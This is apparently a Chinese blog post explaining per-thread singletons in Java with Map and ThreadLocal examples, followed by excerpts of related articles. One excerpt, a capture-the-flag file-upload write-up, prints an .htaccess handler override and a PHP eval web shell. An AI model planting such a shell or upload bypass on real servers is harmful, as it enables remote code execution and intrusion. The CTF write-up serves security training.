线程唯一的单例
经典设计模式的单例模式是指进程唯一的对象实例,实现code如下:
package cun.zheng.weng.design.sinstnce;import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicLong;public class IdGenerator {private IdGenerator(){}private AtomicLong generator = new AtomicLong(0);static class IdGeneratorHolder {private final static IdGenerator ID_GENERATOR = new IdGenerator();}public static IdGenerator getInstance(){return IdGeneratorHolder.ID_GENERATOR;}public Long getId(){return generator.getAndIncrement();}public static void main(String[] args) throws InterruptedException {ThreadPoolExecutor executor = new ThreadPoolExecutor(3,3,1000, TimeUnit.MILLISECONDS,new LinkedBlockingQueue<>());CountDownLatch latch = new CountDownLatch(10);for(int i=0;i<10;i++){Integer taskId = i;executor.submit(()->{Long threadId = Thread.currentThread().getId();System.out.println("Task "+ taskId +" generate id->" + IdGenerator.getInstance().getId() + " ,task done by "+ threadId);latch.countDown();});}latch.await();executor.shutdownNow();}
}输出结果:
Task 0 generate id->0 ,task done by 9
Task 1 generate id->1 ,task done by 10
Task 2 generate id->2 ,task done by 11
Task 3 generate id->3 ,task done by 9
Task 5 generate id->5 ,task done by 10
Task 4 generate id->4 ,task done by 11
Task 7 generate id->7 ,task done by 10
Task 6 generate id->6 ,task done by 9
Task 9 generate id->9 ,task done by 10
Task 8 generate id->8 ,task done by 11
别跟我扯什么双重检测单例模式,性能太差,不考虑,单例模式就用静态内部类实现,高性能+延迟加载,还要什么双重检测!
那么,问题来了,如果我要实现线程绑定呢,换句话说就是实现线程间唯一的单例,进程中可以有多个实例。
思路很简单:将线程id绑定对象实例就行了。以下使用Map和JDK原生的ThreadLocal实现这个想法。
package cun.zheng.weng.design.sinstnce;import java.util.Map;
import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicLong;public class ThreadSingleInstance {private ThreadSingleInstance(){}AtomicLong atomicLong = new AtomicLong(0);private static final Map<Long,ThreadSingleInstance> idGeneratorHolder = new ConcurrentHashMap<>();public Long getId(){return atomicLong.getAndIncrement();}public static ThreadSingleInstance getInstance(){Long threadId = Thread.currentThread().getId();idGeneratorHolder.putIfAbsent(threadId,new ThreadSingleInstance());return idGeneratorHolder.get(threadId);}public static void main(String[] args) throws InterruptedException {ThreadPoolExecutor executor = new ThreadPoolExecutor(3,3,1000, TimeUnit.MILLISECONDS,new LinkedBlockingQueue<>());CountDownLatch latch = new CountDownLatch(10);for(int i=0;i<10;i++){Integer taskId = i;executor.submit(()->{Long threadId = Thread.currentThread().getId();System.out.println("Task "+ taskId +" generate id->" + ThreadSingleInstance.getInstance().getId() + " ,task done by "+ threadId);latch.countDown();});}latch.await();executor.shutdownNow();}
}输出:
Task 1 generate id->0 ,task done by 10
Task 2 generate id->0 ,task done by 11
Task 3 generate id->1 ,task done by 10
Task 4 generate id->1 ,task done by 11
Task 5 generate id->2 ,task done by 10
Task 6 generate id->2 ,task done by 11
Task 7 generate id->3 ,task done by 10
Task 8 generate id->3 ,task done by 11
Task 9 generate id->4 ,task done by 10
Task 0 generate id->0 ,task done by 9
package cun.zheng.weng.design.sinstnce;import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicLong;public class ThreadInstanceByThreadLocal {private ThreadInstanceByThreadLocal(AtomicLong atomicLong){this.atomicLong = atomicLong;}private AtomicLong atomicLong;public Long getId(){return atomicLong.getAndIncrement();}public static ThreadInstanceByThreadLocal getInstance(){return new ThreadInstanceByThreadLocal(new AtomicLong(0));}public static void main(String[] args) throws InterruptedException {ThreadPoolExecutor executor = new ThreadPoolExecutor(3,3,1000, TimeUnit.MILLISECONDS,new LinkedBlockingQueue<>());CountDownLatch latch = new CountDownLatch(10);ThreadLocal<ThreadInstanceByThreadLocal> threadLocal = new ThreadLocal<ThreadInstanceByThreadLocal>(){@Overrideprotected ThreadInstanceByThreadLocal initialValue() {return ThreadInstanceByThreadLocal.getInstance();}};for(int i=0;i<10;i++){Integer taskId = i;executor.submit(()->{Long threadId = Thread.currentThread().getId();System.out.println("Task "+ taskId +" generate id->" + threadLocal.get().getId() + " ,task done by "+ threadId);latch.countDown();});}latch.await();executor.shutdownNow();}
}
相关文章:
线程唯一的单例
经典设计模式的单例模式是指进程唯一的对象实例,实现code如下: package cun.zheng.weng.design.sinstnce;import java.util.concurrent.CountDownLatch; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ThreadPoolExec…...
明厨亮灶监控实施方案 opencv
明厨亮灶监控实施方案通过pythonopencv网络模型图像识别算法,一旦发现现场人员没有正确佩戴厨师帽或厨师服,及时发现明火离岗、不戴口罩、厨房抽烟、老鼠出没以及陌生人进入后厨等问题生成告警信息并进行提示。OpenCV是一个基于Apache2.0许可(…...
14 mysql bit/json/enum/set 的数据存储
前言 这里主要是 由于之前的一个 datetime 存储的时间 导致的问题的衍生出来的探究 探究的主要内容为 int 类类型的存储, 浮点类类型的存储, char 类类型的存储, blob 类类型的存储, enum/json/set/bit 类类型的存储 本文主要 的相关内容是 bit/json/enum/set 类类型的相关…...
04_19linux自己撸内存池实战,仿造slab分配器
前言 自己撸一个内存池 其实就相当于linux里面带的 slab分配器 可以翻翻之前的章 看看slab 和伙伴分配器的不同 在学习c语言时,我们常常会使用到malloc()去申请一块内存空间,用于存放我们的数据。刚开始我们只要知道申请内存时使用用malloc去申请一块就…...
【HDFS】XXXRpcServer和ClientNamenodeProtocolServerSideTranslatorPB小记
初始化RouterRpcServer时候会new ClientNamenodeProtocolServerSideTranslatorPB,并把当前RouterRpcServer对象(this)传入构造函数: ClientNamenodeProtocolServerSideTranslatorPBclientProtocolServerTranslator =new ClientNamenodeProtocolServerSideTranslatorPB(this…...
二分,Dijkstra,340. 通信线路
在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。 特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。 现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 L…...
Stable Diffusion---Ai绘画-下载-入门-进阶(笔记整理)
前言 注:本文偏向于整理,都是跟着大佬们学的。 推荐两个b站up主,学完他们俩的东西基本就玩转SD为底的ai绘画: 秋葉aaaki,Nenly同学 1.首先SD主流的就是秋叶佬的Webui了,直接压缩包下载即可,下…...
Java 乘等赋值运算
下面这个题目是在一公司发过来的,如果你对 Java 的赋值运算比较了解的话,会很快知道答案的。 这个运算符在 Java 里面叫做乘等或者乘和赋值操作符,它把左操作数和右操作数相乘赋值给左操作数。 例如下面的:density * invertedRat…...
【性能优化】聊聊性能优化那些事
针对于互联网应用来说,性能优化其实就是一直需要做的事情,因为系统响应慢,是非常影响用户的体验,可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求,需要对所负责的系统进行性能提升。目前接…...
k8s 查看加入主节点命令 k8s重新查看加入节点命令 k8s输入删除,重新查看加入命令 kuberadm查看加入节点命令
1. 使用kuberadm 安装成功后,clear清除了屏幕数据,加入命令无法查看,使用如下,重新查看node如何加入主节点命令: kubeadm token create --print-join-command --ttl 0 2.画圈的全部是,都复制,在…...
Scalene:Python CPU+GPU+内存分析器,具有人工智能驱动的优化建议
一、前言 Python 是一种广泛使用的编程语言,通常与其他语言编写的库一起使用。在这种情况下,如何提高性能和内存使用率可能会变得很复杂。但是,现在有一个解决方案,可以轻松地解决这些问题 - 分析器。 分析器旨在找出哪些代码段…...
C语言练习8(巩固提升)
C语言练习8 编程题 前言 奋斗是曲折的,“为有牺牲多壮志,敢教日月换新天”,要奋斗就会有牺牲,我们要始终发扬大无畏精神和无私奉献精神。奋斗者是精神最为富足的人,也是最懂得幸福、最享受幸福的人。正如马克思所讲&am…...
Java匿名内部类
文章目录 前言一、使用匿名内部类需要注意什么?二、使用步骤匿名内部类的结构匿名内部类的实用场景1. 事件监听器2. 过滤器3. 线程4. 实现接口5.单元测试:6.GUI编程7.回调函数 前言 Java中的匿名内部类是一种可以在声明时直接创建对象的内部类。这种内部…...
Shiro和SpringSecurity的区别
文章目录 前言1.Shiro:Shiro的特点: 2.SpringSecurity:SpringSecurity特点: 3.对比:总结 前言 Shiro 和 Spring Security 都是用于在Java应用程序中实现身份验证(Authentication)和授权&#x…...
【STM32】学习笔记(OLED)
调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...
概念解析 | 认知雷达:有大脑的雷达
注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...
B. Long Long
time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an�1,�2,…,�� of length n�. He can apply as m…...
CTFhub-文件上传-.htaccess
首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...
Python中的绝对和相对导入
在本文中,我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式,但它不是唯一的…...
C语言关于与运算符
C语言关于&与&&运算符 我们知道,在很多场景中&和&&通常可以相互代替,那么它们到底有什么不同呢? 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下: movb -5(%rbp), %al …...
微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
音视频——I2S 协议详解
I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议,专门用于在数字音频设备之间传输数字音频数据。它由飞利浦(Philips)公司开发,以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...
接口自动化测试:HttpRunner基础
相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南 使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具,支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议,涵盖接口测试、性能测试、数字体验监测等测试类型…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
